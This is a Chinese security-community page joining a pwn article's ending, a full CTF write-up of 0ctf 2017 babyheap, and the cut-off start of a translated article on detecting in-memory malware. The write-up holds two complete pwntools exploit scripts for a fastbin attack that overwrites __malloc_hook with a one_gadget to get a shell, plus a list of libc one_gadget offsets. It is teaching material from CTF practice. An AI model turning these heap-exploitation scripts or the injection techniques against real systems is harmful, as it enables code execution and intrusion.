我们来看一下溢出的发生：最终比较的是八位1字节，我们用更大的值来溢出，比如260吧，其对应的hex为0x104，rax=0x104，对应的al就是0x04，在4~8之间，成功绕过长度检查，实现了后续的溢出字符串拷贝！
那么如何构造呢？我们给出两种思路：
1. 首先确定长度合法性检查处所采用数据类型的位数n，得到M=2^n，集合B为长度检查处所有合法值的集合比如4~8，然后集合{A|(A mod M) ∈ B}中的所有元素都可以绕过检查，从中随意取个你想要的大小即可！
2. 首先确定长度合法性检查处所采用数据类型的位数n，并在合法长度值中随便挑个值，用位数为n的hex写出来，然后往高位任意扩展位数、以及高位的具体值即可，随你构造！
## 四、总结与心得
可以看到：整数溢出构造思路的第二种方法，其实和前面所说的无符号整型漏洞的长度值构造思想是有着异曲同工之妙的，因为它们都是深入到计算机处理数据的本质，
**从“位”的处理上出发来寻找规律** 。
深化“ **位** ”的数据表示和处理思想，对于分析这一系列相关问题会是极大的帮助！！
此外，一定要看汇编！作为一名合格的pwn手要记住不看汇编的pwn，都是耍流氓！往后的文章不久将会讲到一道babydriver的内核pwn，到时候从那个例子中各位就可以深刻体会到，IDA的F5有时候是非常坑的，不看汇编真的不行！ | 社区文章 |
# Fastbin Attack之雷霆万钧：0ctf2017 babyheap
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 本文要点概括：
* fastbin attack
* __malloc_hook与size错位构造
* 绕过calloc泄露内存的通用思想（堆块溢出“受孕”、fastbin attack利用、远交近攻“隔山打牛”）
* 边缘效应与耦合缓解（unsorted_bin中chunk再分配、清空bin环境）
* libc依赖：
* 有关不同libc版本下的堆地址
随着堆的学习，最近一直保持着有关libc堆漏洞利用的文章的更新，之前以babynote为例讲了unsorted bin attack，这次以0ctf2018
babyheap为例讲解一下fastbin attack的东西。
堆的知识细节很庞大，每次pwn一个challenge都会收获很多东西。之前是复现的babynote那道题，但毕竟是参考了别人的exp自己心里还是没底，而这次的babyheap的exploit开发则是彻头彻尾自己完成的，过程和结果令人惊喜：自己写出的有效exp之后和网上的exp进行了对比，发现思路有比较大的出入，也就意味着学到了更多的东西。
[题目链接](https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/heap/fastbin-attack/2017_0ctf_babyheap)
## 一、逆向分析与漏洞挖掘
丢进IDA，main函数F5，如下（函数名我已进行手动重命名）：
### 0x01、new_log()如下：
我们的堆块就是通过该函数分配，索引表的结构就是传统的堆题目结构，由exist字段、大小字段和用户区指针构成；值得注意的是此处使用的内存分配函数是calloc而不是malloc，calloc分配chunk时会对用户区数据进行置空，也就是说之前的fd和bk字段都会被置为0，这在进行内存泄露时会造成一定的难度；返回的chunk下标也是传统的exist字段遍历法，下标从0开始。
### 0x02、edit_log()如下：
可以看到，程序并没有对用户输入的Size长度进行检查，这就造成了任意长度输入，形成堆溢出漏洞；此外，输入没有尾补字符串结束符，有可能会造成内存泄露(该程序后经分析，内存泄露不利用此处缺陷)
### 0x03、delet_log()如下：
可以看到，这段free函数写的是很安全的，首先对用户通过下标选择进行free的chunk在索引表层面做了存在性检查，如果exist字段为0说明已经free便不再继续执行free，这有利于防范double
free；free成功后，相应的索引表的exist字段置空、堆指针置NULL也做到位了。总之该部分没有安全漏洞。
### 0x04、print_log()如下：
其中sub_130F():
这个读内容函数也是安全的，首先作了存在性检查，如果exist字段为0就不会去读，也就是说只能读new过的记录；并且读取用的是write而不是puts，write读的长度也是索引表中记录的长度（即当初new的时候输入的长度的多大就只能读多大
）
### 0x05、逆向分析小结：
该程序存在堆溢出漏洞，但是由于其他保护作的较好，在泄露内存阶段应该会遇到较大阻力；堆溢出漏洞可能带来Fastbin Attack的机会。
## 二、漏洞利用分析
在进行具体分析之前，我们先粗略讲一下fastbin attack的相关知识：
（详细讲解请参考ctf wiki上的教程）
1.fastbin是单链表，按chunk大小递增一共有好几个，用户free一个chunk以后，如果大小是属于fastbin的、又不与top
chunk相邻，就链入fastbin中大小对应的单链表
2.fastbin单链表是个栈，LIFO，链表结点(被free的chunk)的插入用的是头插法，即紧邻表头插入，fd指针则往链尾方向指向下一个chunk（此处的“头尾”是以表头为头）
3.大体上插入就是chunk->fd = fastbinY[x] ->fd ; fastbinY[x]->fd = chunk ; 而对应的拆卸过程就是
fastbinY[x]->fd = fastbinY[x]->fd->fd(看懂意思就好不要太较真，大家可以自行去看libc源码)
4.fastbin的相关安全检查：首块double
free检查，当一个chunk被free进fastbin前，会看看链表的第一个chunk是不是该chunk，如果是，说明double
free了就报错；分配前size字段校验，从fastbin表中malloc出一个chunk时，拆卸前会检查要分配的这个chunk的size字段是不是真的属于它当前所在的fastbin表，如果size字段的值不是当前fastbin表的合法chunk大小值，则报错，其代码
((((unsigned int)(sz)) >> (bitl == 8 ? 4 : 3)) –
2)；根据size算得应在的表的下标，再和当前所在fastbin的下标对比
5.fastbin chunk头部字段特点：presize为0，size的inuse位恒为1（不被合并，符合当时设计常驻较小块以提高效率的初衷）
6.fastbin
attack：用过一定手段篡改某堆块的fd指向一块目标内存（当然其对应size位置的值要合法），当我们malloc到此堆块后再malloc一次，自然就把目标内存分配到了，就可以对这块目标内存为所欲为了（可以是关键数据也可以是函数指针）
下面正式开始分析：
我们的主要思路就是首先泄露得到libc的基地址，然后通过fastbin attack篡改libc中某个函数指针，最终在调用的时候实现劫持并get shell
### 0x01、泄露libc_base
唯一有输出的地方就是程序的print_log()函数，只能利用这个函数泄露内存
而这个函数打印的东西都是chunk内的内容，自然想到应该是通过泄露chunk的fd和bk指针泄露libc_base地址
马上排除通过fastbin chunk泄露的可能性，因为fastbin
chunk只有fd没有bk，而fd是往链尾指的而且是单链表，只能指向堆的地址，怎么也不可能指向fastbin表头，因此也无法通过偏移计算泄露libc_base
所以是通过unsorted bin来泄露libc_base！
阻碍：读的内存长度有限制，只能读当初new时输入的长度；calloc时会置空用户区数据，残存的fd和bk将被置零；chunk只有索引表exist指示存在时才能读
先考虑如何绕过calloc和exist：首先如果你要读fd和bk，就不能被置空，也就是说你读的fd和bk所在的堆块必须是free的，那么它的索引表exist肯定指示不存在不能读
所以现在看来，我们只能读exist即inuse 的堆块，又要读的出free的堆块里的内容
也就是说我们必须能够通过读一个exist即inuse 的堆块打印出某个free的堆块里的内容
要达到这个目的，唯一可能的情形就是：这个exist的堆块对应的索引表中的Size足够大，大到把某个free态的堆块也包含了进去，这样读这个exist的堆块时就可以读到free块的fd和bk
我们下面将用Size来代表这个足够大的长度值
那么这个大大的Size肯定是在new_log()之初就由用户输入了的，也就是说calloc时传入的大小就是这个Size，但是calloc时会置零，也就是说被包含进来的那个free态的堆块肯定不能是先free了再被这个exist的堆块包含进来（因为这样那个free态的堆块的fd和bk就置零没了），所以一定是calloc时还不是free的，calloc后再free掉，然后再读calloc到的堆块进行泄露
那么问题来了：calloc(Size)时如何能分配到一块包含了另一个占用态堆块的堆块呢？calloc到的堆块无非来自两种情况，要么是从bins中已有的块中直接拿出来的，要么就是从top
chunk切下来的；显然，不能是从top
chunk切下来的；所以是从bins中直接拿出了一个chunk，也就是说之前在bins中就已经存在这个大小为Size的chunk了（我们根据特点将这个大小为Size的堆块称作“怀孕块prgnt
chunk”）
那么怎么构造这样一个bins中的prgnt
chunk呢？或者说换种说法：怎么让它“怀上”肚子里的泄露目标chunk呢？有经验的pwn狗稍加思考就想到了：伪造size字段！方法自然是堆溢出！
只要能够将与“胎儿堆块”(fetus chunk)相邻的prev_chunk(即bins中的prgnt
chunk)的size字段篡改的更大，大到把fetus
chunk也包含进去了(也就是篡改为Size)，那么在用户以Size为输入长度通过调用new_log执行calloc(Size)的时候，就会在bins里找到我们伪造出的这个size字段值为Size的prgnt
chunk，分配出来就得到一个我们所需要的大小包含了一个inuse态的fetus chunk的prgnt chunk了
calloc到prgnt chunk后，我们只需要调用edit_log()编辑prgnt chunk来把还是inuse态的fetus
chunk的presize字段和size字段写成合法值（被置零了），然后free掉fetus
chunk（这时候就有fd和bk了），再调用print_log()读prgnt chunk就可以读出fetus
chunk的fd和bk了（即前面所提到的calloc后再free掉，然后再读calloc到的堆块进行泄露）
显然prgnt chunk与fetus chunk都必须是unsorted_bin chunk，此外还需要一个保护堆块来殿后，防止合并进top
chunk，然后在最前面还需要随便放一个堆块用来发起溢出，因此一共需要四个堆块，大小都是unsorted_bin chunk就行
泄露出的是main_arena__unsorted_bin的地址，通过偏移计算即可得到libc_base
### 0x02、Fastbin Attack
先往fastbin里free一个chunk进去，溢出踩掉这个chunk的fd指针，把fd劫持到malloc_hook附近，然后连续calloc两次就得到一个指向malloc_hook附近的用户指针了，然后就可以将malloc_hook改写为我们的劫持目标地址（比如onegadget），之后再调用new_log()执行calloc的时候就可以把程序执行流劫持到onegadget然后get
shell了
### 0x03、重要技术细节
hook劫持、RELRO保护、错位构造size、onegadget
往常劫持函数指针我们常常是用GOT表劫持的手段，而仅就笔者目前的了解，就至少有两种情况是GOT表劫持行不通的：一个是RELRO保护全开、一个是fastbin须size错位
RELRO是一种加强对数据段保护的技术，当其完全开启时（full），GOT表就不会采用延迟绑定，而是在程序加载之初就一次性全部绑定，此后将GOT表属性设置为不可写，这样一来就无法篡改GOT表了
size错位就是我们今天遇到的情况，前面说过fastbin的安全检查之一就是size字段校验，因此如果我们想通过劫持fd至目标内存进而分配到目标内存，就必须保证在目标内存附近能够找到一个qword能够充当合法的size字段，绕过校验，这就是我们所说的size错位构造；而实践经验证明，在GOT表内，似乎并不能找到这样一个qword来错位构造size，因此fastbin
attack攻击GOT表是行不通的
因此fastbin
attack中我们选择攻击hook，先来讲一下hook：hook就是钩子函数，设计钩子函数的初衷是用于调试，基本格式大体是func_hook(*func,<参数>)，在调用某函数时，如果函数的钩子存在，就会先去执行该函数的钩子函数，通过钩子函数再来回调我们当初要调用的函数，calloc函数与malloc函数的钩子都是malloc_hook：
（libc2.23源码中malloc的定义）
（IDA中的malloc的定义）
（libc2.23源码中calloc的定义）
（IDA中的calloc的定义）
综上四幅图可以看到，在调用malloc/calloc时，执行核心代码前都先判断了malloc_hook是否存在，如果存在的话都会先调用malloc_hook！
所以我们来看一下malloc_hook附近的内存布局：
（图.hook汇编窗口）
可以看到malloc_hook紧邻main_arena
我们fastbin
attack都是攻击malloc_hook，也就是说在malloc_hook附近可以错位构造出一个合法的size字段，我们到hex界面看一下这个size是怎么构造出来的：
从3C4AF0到3C4B18，对照“图.hook汇编窗口”，各个qword分别是：
_IO_wfile_jumps align 20h
__memolign_hook __realloc_hook
__malloc_hook align 20h
我们的攻击目标就是malloc_hook即0x3C4B10，这个位置需要处于分配到的chunk的用户区中，从这个位置往上找可以错位构造size字段的qword，就只能找到0x3C4AF0和0x3C4AF8，原因如下：
因为0x3C4AF8处的align 20h是固定不变的，永远都是00 00 00 00 00 00 00
00，注意其他几个位置在图中的hex都并不是实际运行时的值，实际运行时会附上真实的地址值，有经验的话应该能猜到这几个实际运行时libc地址长度都是6字节，且最高位字节为7f，这样一来就只能找到那一个位置可以错位构造size了，就是0x3C4AF0的最高字节7f加上往后的7个字节长度的00构成一串qword：7f
00 00 00 00 00 00 00，可以作为合法size字段值！
令sz = 0x7f，令bitl = 8，((((unsigned int)(sz)) >> (bitl == 8 ? 4 : 3)) –
2)计算出的下标是5，因此对应chunk是属于fastbin[5]的：
//这里的size指用户区域
Fastbins[idx=0, size=0x10]
Fastbins[idx=1, size=0x20]
Fastbins[idx=2, size=0x30]
Fastbins[idx=3, size=0x40]
Fastbins[idx=4, size=0x50]
Fastbins[idx=5, size=0x60]
Fastbins[idx=6, size=0x70]
idx=5，用户区大小应为0x60，至此我们就知道进行fastbin attack时用到是哪个fastbin、请求的用户区大小应该是多少了！
关于onegadget：
onegadget就是一个特殊的gadget，只要跳到这儿执行就可以直接拿到shell，不信的话我给出几个常用的onegadget（libc2.23下的）地址，大家自己去IDA里面看：
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xcd0f3 execve("/bin/sh", rcx, r12)
constraints:
[rcx] == NULL || rcx == NULL
[r12] == NULL || r12 == NULL
0xcd1c8 execve("/bin/sh", rax, r12)
constraints:
[rax] == NULL || rax == NULL
[r12] == NULL || r12 == NULL
0xf0274 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1117 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
0xf66c0 execve("/bin/sh", rcx, [rbp-0xf8])
constraints:
[rcx] == NULL || rcx == NULL
[[rbp-0xf8]] == NULL || [rbp-0xf8] == NULL
## 三、exploit开发
exploit完全按照上面进行的漏洞利用分析开发，因此不多说，直接贴出对应exp：
from pwn import *
#ARCH SETTING
context(arch = 'amd64' , os = 'linux')
#r = process('./babyheap')
r = remote('127.0.0.1',9999)
#FUNCTION DEFINE
def new(size):
r.recvuntil("Command: ")
r.sendline("1")
r.recvuntil("Size: ")
r.sendline(str(size))
def edit(idx,size,content):
r.recvuntil("Command: ")
r.sendline("2")
r.recvuntil("Index: ")
r.sendline(str(idx))
r.recvuntil("Size: ")
r.sendline(str(size))
r.recvuntil("Content: ")
r.send(content)
def delet(idx):
r.recvuntil("Command: ")
r.sendline("3")
r.recvuntil("Index: ")
r.sendline(str(idx))
def echo(idx):
r.recvuntil("Command: ")
r.sendline("4")
r.recvuntil("Index: ")
r.sendline(str(idx))
#MAIN EXPLOIT
#memory leak
#step1
new(0x90) #idx.0 to unsorted bin
new(0x90) #idx.1 to unsorted bin
new(0x90) #idx.2 to unsorted bin
new(0x90) #idx.3 for protecting top_chunk merge
delet(1)
#step2
payload_expand = 'A'*0x90 + p64(0) + p64(0x141)
edit(0,len(payload_expand),payload_expand)
#step3
new(0x130)
#step4
payload_crrct = 'A'*0x90 + p64(0) + p64(0xa1)
edit(1,len(payload_crrct),payload_crrct)
#step5
delet(2)
#step6
echo(1)
r.recvuntil("Content: n")
r.recv(0x90 + 0x10)
fd = u64( r.recv(8) )
libc_unsort = fd
libc_base = libc_unsort - 0x3c4b78
#hijack overflow
#the present idx_table has inuse logs: 0 , 1 , 3 ,wait-queue: 2 , 4 , 5 , 6 , 7 , ...
new(0x90) #idx.2 clean the heap-bins environment
new(0x10) #idx.4 for overflow
new(0x60) #idx.5 to fastbin[5]
new(0x10) #idx.6 for protecting top_chunk merge
delet(5) #NOTICE: idx.5 recycled after here !!!
malloc_hook_fkchunk = libc_base + 0x3c4aed
payload_hj = 'A'*0x10 + p64(0) + p64(0x71) + p64(malloc_hook_fkchunk)
edit(4,len(payload_hj),payload_hj)
#hijack attack
new(0x60) #idx.5
new(0x60) #idx.7
onegadget_addr = libc_base + 0x4526a
payload_hj2onegadget = 'A'*3 + p64(0) + p64(0) + p64(onegadget_addr)
edit(7,len(payload_hj2onegadget),payload_hj2onegadget)
#fire
new(0x100)
r.interactive()
*注释：
1.step2就是溢出“受孕”过程，0x121就是通过溢出伪造的size字段值，0x140 = 0xa0 * 2
2.step4中的payload_crrct是将fetus chunk的pre_size和size字段写为正确合法值
3.由于fetus chunk被free后unsorted bin里实际上它自己（大家可以自己回溯exp去看），所以它的fd和bk都是指向unsorted
bin表头的，因此这里泄露fd就足够了
4.#hijack
overflow那里最开始new的0x90是为了清空bin环境，使所有的bins里面都没有东西（本来bins里有一个用户区大小为0x90的fetus
chunk），这样再分配堆块的时候就是从top
chunk往下割了，避免了从原来的bins中割一块给你：那为什么要这样呢？因为不清空bin环境exp容易出问题，本文后面将会举例说明
5.malloc_hook_fkchunk的地址计算别忘了错位构造出的size字段前还有个pre_size字段
6.’A’*3 + p64(0) + p64(0)是因为从错位构造的size字段末尾到malloc_hook直接还有0x13个字节的数据
此外，多说一句，关于堆块受孕过程，我们通过溢出伪造的size大小其实实际上只要能把fd字段包含进去就足够了，不必把整个fetus chunk都弄进去。
## 四、不同exp引发的深入思考
文章开头我说过，我们用的exploit和网上公开流行的版本用的方法并不一样，主要区别就在于泄露libc_base的原理是不同的
这里给出网上流行的经典版本exp的几个链接：
[exp_classical1](https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/fastbin_attack/#_27)
[exp_classical2](https://blog.csdn.net/qq_35519254/article/details/78213962https://blog.csdn.net/qq_35519254/article/details/78213962)
经典版本exp的思路是利用了两次fastbin attack，他们泄露libc_base的就是通过第一次fastbin
attack完成的，第二次fastbin attck与我们相同，也是劫持malloc_hook.
我们知道，fastbin
attack就是要篡改fd指针，将fd劫持到目标内存，那么有意思的地方来了：对于相邻的几个堆块，它们的内存地址也是相邻的，也就是说它们的内存地址值有可能只有最低字节不同，其它字节都相同，那么如果我们通过溢出篡改掉fd的最低字节，就可以把fd劫持到任意堆块了！
经典版本的exp正是利用了这一点进行了fastbin
attack，拿到了一个指向某个已经是占用态的堆块的用户指针（也就是说一个chunk同时有两个用户指针指向它），如果这个chunk的大小属于unsorted
bin，那么就可以先free它（free的是之前的那个用户指针），然后用我们后来通过fastbin
attack拿到的用户指针来泄露fd和bk，进而得到libc_base
当然，为了保证一能绕过size校验、二能进入unsorted bin，过程中还需要通过溢出来伪造合适的size字段值！
按我们之前的思路，要能够通过读一个exist即inuse 的堆块打印出某个free的堆块里的内容，必须exist的块足够大大到把fetus
chunk包含进去，于是就有了溢出篡改size进行“受孕”的思路，而经典exp的思路是：要能够通过读一个exist即inuse
的堆块打印出某个free的堆块里的内容，只要有两个用户指针指向同一个堆块就可以了！
### 所以，经典exploit的缺陷在哪呢？
缺陷就是对libc版本依赖较大！
这道题目用的libc版本是libc2.23，在libc2.23中，用户分配的第一个堆块就位于堆区起始地址，也就是说用户分配的第一个堆块的地址最低字节一定是00（在目前的libc版本中，堆区的起始地址最低字节都是00），所以我们在泄露内存时能够顺利地计算出应该把fd的最低字节篡改为几
但在libc2.26的系统中，用户分配的第一个堆块并不位于堆区的起始处！而是从堆区起始地址往后偏移了很大一段距离，本人调试发现，在libc2.26中，用户分配的第一个堆块的地址最低字节是0x50！
至于出现这种情况的原因，是和libc2.26新引进的tcache机制有关，这个在以后的文章中会讲到。总之，这一点就造成了经典exp对libc版本的不兼容性更大了！
## 五、清空bins环境
之前exp提到了清空bins环境，现在来讲一下
如果不清空bins的话，fetus chunk就会留在unsorted
bin里，大小为0xa0（用户区大小则为0x90），此时继续按照原来的exp流程new(0x10)、new(0x60)会发生什么呢？
把清空bins那一行去掉，那段exp就变成：
#hijack overflow
#the present idx_table has inuse logs: 0 , 1 , 3 ,wait-queue: 2 , 4 , 5 , 6 , 7 , ...
#清空bins代码new(0x90)已删除
new(0x10) #idx.2 for overflow
new(0x60) #idx.4 to fastbin[4]
new(0x10) #idx.5 for protecting top_chunk merge
delet(4) #NOTICE: idx.4 recycled after here !!!
malloc_hook_fkchunk = libc_base + 0x3c4aed
payload_hj = 'A'*0x10 + p64(0) + p64(0x71) + p64(malloc_hook_fkchunk)
edit(4,len(payload_hj),payload_hj)
我们下面通过gdb调试来看到底会发生什么
***调试技巧：python脚本中加x = input(“debug”)来中断执行流，然后attach进程调试
首先在new(0x60) 后面加一行x= input(“debug”)，停到这儿的时候attach调试：
通过调试器来查看堆区如上，可以依次看到我们第一次溢出的溢出发起块、prgnt chunk（其size字段值为0x141），而再往下就应该是fetus
chunk了，按理说fetus chunk的size字段值应该是0xa1，并且应该能看到它的fd和bk，但是调试器却显示fetus
chunk那块内存似乎莫名其妙的变成了两个inuse的chunk，size字段分别是0x21和0x81，应有的fd和bk也没了！
真正的原因就是：当用户分配0x10和0x60的堆块时，由于在unsorted bin里能找到足够大的chunk，因此就没有从top
chunk中去拿新的内存空间，而是直接从unsorted bin里切一块出来给用户。
那用户申请0x60的堆块对应的size字段不应该是0x71吗？为什么调试结果显示是0x81？
我的猜测是：
第一种可能性：如果你切0x70的出来，那么unsorted
bin里就会剩下大小为0x10的一块，这就尴尬了，总大小为0x10意思不就是用户区大小是0吗，也就是压根没有用户区，这样当然是不合情理的，因此libc的处理就是干脆直接多分配0x10个字节，直接给0x81的chunk出来就ok了
第二种可能性：如果你切0x70的出来，那么unsorted bin里就会剩下大小为0x10的一块，这个剩余块的大小是不属于unsorted
bin的，因此不应该放在unsorted
bin里而应该放在fastbin里，但是考虑到效率问题，如果真的老老实实先切割出0x70的块、再把剩下的小块从unsorted
bin里拿出来、再把它放到该放的fastbin里，这样下来效率就会拉低许多，libc为了提高效率就偷了个懒：如果剩余的块大小已经小到应该进fastbin，那么就直接合成一个大一些的chunk分配出来，而不移交fastbin.
### 后经深入调试证明，第一种猜测是正确的！
好，我们回到刚刚的没有清空bins的exp，把input改下在delet(4) 后面，然后重新跑起，断下时attach调试，可以看到：
果然不出所料，进了0x80的fastbin而没进0x70的fastbin，导致exp最终不能成功get shell.
如果不想清空bins还想exp正确运行，有个比较骚的办法，就是把用于溢出的那个new(0x10)改成new(0x20)，这样大小正好，就避免了“补块”的发生
## 六、扩展：远交近攻“隔山打牛”
后来突发奇想，又想到了一种更麻烦的攻击方法，当然大同小异，不同的地方还是在泄露libc_base那里，用的方法是分配chunk1、chunk2、chunk3、chunk4、chunk5五个chunk，chunk1用于发起溢出、chunk5用于防止top_chunk
merge，然后free掉chunk2，再从chunk1打一个溢出覆盖chunk2的size字段为chunk2、3、4的大小之和，再从chunk3打一个溢出覆盖chunk4的presize为chunk2、3、4的大小之和，然后free掉chunk4就可以触发堆块合并，就把chunk2、3、4合为一个堆块了，这时候calloc相应大小就可以把这个三合一堆块拿到了，然后把chunk3的presize和size写为正确值，free掉chunk3，然后读这个三合一chunk就可以泄露出chunk3的fd和bk了
之后闲着没事看ctf wiki，发现上面介绍了一个原理相同的攻击手段，叫house of einherjar，有兴趣的可以自己去看。
我们把这种方法的exp也给出来：
from pwn import *
#ARCH SETTING
context(arch = 'amd64' , os = 'linux')
#r = process('./babyheap')
r = remote('127.0.0.1',9999)
#FUNCTION DEFINE
def new(size):
r.recvuntil("Command: ")
r.sendline("1")
r.recvuntil("Size: ")
r.sendline(str(size))
def edit(idx,size,content):
r.recvuntil("Command: ")
r.sendline("2")
r.recvuntil("Index: ")
r.sendline(str(idx))
r.recvuntil("Size: ")
r.sendline(str(size))
r.recvuntil("Content: ")
r.send(content)
def delet(idx):
r.recvuntil("Command: ")
r.sendline("3")
r.recvuntil("Index: ")
r.sendline(str(idx))
def echo(idx):
r.recvuntil("Command: ")
r.sendline("4")
r.recvuntil("Index: ")
r.sendline(str(idx))
#MAIN EXPLOIT
#memory leak
#step1
new(0x90) #idx.0 to unsorted bin
new(0x90) #idx.1 to unsorted bin
new(0x90) #idx.2 to unsorted bin
new(0x90) #idx.3 to unsorted bin
new(0x90) #idx.4 for protect
delet(1)
print("step1")
#step2
payload_expand = 'A'*0x90 + p64(0) + p64(0x141)
edit(0,len(payload_expand),payload_expand)
print("step2")
#step3
payload_mergefk = 'A'*0x90 + p64(0x140) + p64(0xa0)
edit(2,len(payload_mergefk),payload_mergefk)
print("step3")
#step4
delet(3)
print("step4")
#step5
new(0x1d0)
print("step5")
#step6
payload_crrct = 'A'*0x90 + p64(0) + p64(0xa1) + 'A'*0x90 + p64(0) + p64(0xa1)
edit(1,len(payload_crrct),payload_crrct)
print("step6")
#step7
delet(2)
print("step7")
#step8
echo(1)
r.recvuntil("Content: n")
print(r.recv(0x90 + 0x10))
fd = u64( r.recv(8) )
libc_unsort = fd
libc_base = libc_unsort - 0x3c4b78
print("step8")
print(hex(libc_base))
#hijack overflow
#the present idx_table has inuse logs: 0 , 1 , 4 ,wait-queue: 2 , 3 , 5 , 6 , ...
new(0x90) #idx.2 clean the heap-bins environment
new(0x10) #idx.3 for overflow
new(0x60) #idx.5 to fastbin[5]
new(0x10) #idx.6 for protect
delet(5) #NOTICE: idx.5 recycled after here !!!
#x = input("debug")
malloc_hook_fkchunk = libc_base + 0x3c4aed
payload_hj = 'A'*0x10 + p64(0) + p64(0x71) + p64(malloc_hook_fkchunk)
edit(3,len(payload_hj),payload_hj)
#hijack attack
#x = input("debug")
new(0x60) #idx.5
#x = input("debug")
new(0x60) #idx.7
#x = input("debug")
onegadget_addr = libc_base + 0x4526a
payload_hj2onegadget = 'A'*3 + p64(0) + p64(0) + p64(onegadget_addr)
edit(7,len(payload_hj2onegadget),payload_hj2onegadget)
#fire
new(0x100)
r.interactive()
## 七、心得总结
这道pwn最大的收获在于了解了堆漏洞泄露内存的两大主要思路：
### 1、chunk extern
堆扩张攻击，如常用的house of einherjar攻击
### 2、chunk double pointing
想办法让两个用户指针索引同一个堆块 | 社区文章 |
# 【技术分享】内存中的猎者
|
##### 译文声明
本文是翻译文章，文章来源：endgame.com
原文地址：<https://www.endgame.com/blog/technical-blog/hunting-memory>
译文仅供参考，具体内容表达以及含义原文为准。
图1.1
译者：[Kp_sover](http://bobao.360.cn/member/contribute?uid=2899451914)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**前言**
在大量复杂数据中筛选可能存在的威胁并且在软件生命周期中任何一个阶段定位出恶意行为真的是一项艰巨任务，想要做到这些，安全研究员必须不断学习新的攻击技术和检测方法的专业知识。
内存驻留类型的恶意软件顾名思义会将它自己存放在内存中，这个技术已经出现超过十年，而且有越演欲烈的趋势，这可能归功于内存技术的普及和代码数量的增加，但另一方面，这也恰巧反映了它在逃逸安全软件和管理员检测方面的优势，这个曾经只在顶尖攻击者中出现的技术，现在基本已经被滥用了，我将和我的团队通过研究最常见的内存攻击技术，希望能开发出一种可扩展的、低误杀率的检测方法。
**攻击技术相关**
当然，如果能理解
shellcode注入，反射型DLL注入，内存模块，进程和模块HOLLOWING，GARGOYLE（ROP/APCs注入）等方面的知识，这对于理解内存检测技术会很有用处！
**0x1、SHELLCODE 注入**
最常见的内存驻留技术就是shellcode注入，它可以归纳为下面四个步骤：
1、OpenProcess 打开目标进程，获得句柄。
2、VirtualAllocEx 在目标进程里分配一块内存。
3、WriteProcessMemory 向刚分配的区域写入我们的shellcode。
4、CreateRemoteThread 远程创建一个新的线程去执行我们的shellcode。
著名的 [Poison Ivy](https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-poison-ivy.pdf) 远控
就是使用了这个技术，这大概也是很多APT组织喜欢上它的主要原因吧！
如果你用 [x64dbg](http://x64dbg.com/) 打开 [Poison
Ivy](https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-poison-ivy.pdf)
植入端程序并在VirtualAllocEx处设置断点，很快你就会看到它分配内存的情景及后续相关操作.
图1.2
图1.3
在图1.2中，push 40 表示将 VirtualAllocEx 函数分配的内存页设置为
PAGE_EXECUTE_READWRITE，也就是可读写可执行属性，下面这张图片是用
[ProcessHacker](http://processhacker.sourceforge.net/) 获取到的 [Poison
Ivy](https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-poison-ivy.pdf) 的内存分配图，你可以看到大量具有 RWX 属性的区段.
图1.4
通常情况下，代码段的类型是 ‘image’，并且会被关联到磁盘文件，但这里却是 ‘Private’
属性并且没有被关联到磁盘文件，它们就是没有关联的可执行区段或者被称为
浮动的代码，从这些内存区域启动的线程通常都是不正常的，这也可以作为鉴定恶意代码的一个重要因素，通过 ProcessHacker
我们还可以看到它的调用堆栈，在这里我们可以清晰地看到 红色箭头处的 几个内存地址没有和任何模块关联.
图1.5
**0x2、反射型DLL注入**
另一种内存攻击技术是由 [Steven
Fewer](https://github.com/stephenfewer/ReflectiveDLLInjection)
发现，被称为反射型DLL注入，Metasploit’s 的
[Meterperter](https://github.com/rapid7/metasploit-payloads/tree/master/c/meterpreter)
第一次将这种技术应用于实战，现在仍然有很多恶意软件使用这种技术，反射型DLL注入取代了需要
Windows加载器执行的方式，通过将自身dll文件映射到内存中获得执行，它注入进程的方式和 shellcode
注入相同，唯一不同的就是这里shellcode被换成了实现自我映射的loader.它负责将读取到的dll 通过解析输入表、修复重定向、最后调用
DllMain的方式让其获得执行，攻击者可以用高级语言例如c/c++来利用这个技术，而不再需要苦逼的汇编语言了。
典型的反射型DLL注入例如 Meterpreter所采用的，是很容易被检测到的，因为它在进程里留下了大量的 RWX 内存区段，即使
Meterpreter已经断开连接， 这些没有关联的可执行内存区段的开始位置是完整的
MZ/PE头，就像下面看到的一样！但需要注意的是这些残留的数据是可以被抹除的.
图1.6
图1.7
当然，在dll里面也可以很方便的实现一个导出函数，例如
ReflectiveLoader()，这个函数没有任何参数，返回值就是dllmain的地址，通常用来定位dllmain！
图1.8
**0x3、内存模块**
内存模块注入是另外一种内存驻留技术，它和反射型dll注入相似，但不同的是 前者由注射器或加载器负责将dll映射到内存 变成了
自己映射到内存，相当于它自身实现了 LoadLibrary
的功能，而且它不再需要释放文件到磁盘上，最开始的植入器只能映射到当前进程，但现在已经可以将其映射到远程进程中去，为了躲避检测，现在大多数的植入器都没有改动dll的区段属性，并且不再设置其为RWX.
[NetTraveler](https://www.proofpoint.com/us/threat-insight/post/nettraveler-apt-targets-russian-european-interests)
就是采用这一技术的恶意软件，[NetTraveler](https://www.proofpoint.com/us/threat-insight/post/nettraveler-apt-targets-russian-european-interests)运行后，会解压核心功能函数并将它映射到内存中去，区段属性也被设置成像一个正常的dll一样，但只是这些似乎还是不够，因为它的内存区段中仍然具有
‘Private’ 这个特征.
图1.9
它的活动线程 是从这几个 private 区域启动，ProcessHacker 的 堆栈回溯里也仍然能看到下面几个恶意的区域.
图1.10
[Winnti](https://hitcon.org/2016/pacific/0composition/pdf/1201/1201%20R2%201610%20winnti%20polymorphism.pdf)
是另一个采用这种内存模块注入技术的恶意软件，相比之下，它的特征更明显些，因为它的内存区段属性有一个仍为 RWX.
图1.11
但
[Winnti](https://hitcon.org/2016/pacific/0composition/pdf/1201/1201%20R2%201610%20winnti%20polymorphism.pdf)
